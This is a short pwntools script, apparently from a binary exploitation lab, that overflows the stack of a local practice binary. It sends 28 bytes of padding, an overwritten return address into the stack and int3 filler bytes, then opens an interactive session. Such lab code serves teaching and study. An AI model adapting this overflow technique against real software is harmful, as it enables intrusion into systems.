#!/usr/bin/python

from pwn import *

def main():
    # Start a process
    p = process("../build/1_vulnerable")

    # Create payload
    ret_address = 0xffffd5f0 + 28 + 4
    payload = "A"*28 + p32(ret_address)
    payload = payload.ljust(100, "\xcc")

    # Print the process id
    raw_input(str(p.proc.pid))

    # Send the payload to the binary
    p.send(payload)

    # Pass interaction back to the user
    p.interactive()

if __name__ == "__main__":
    main()
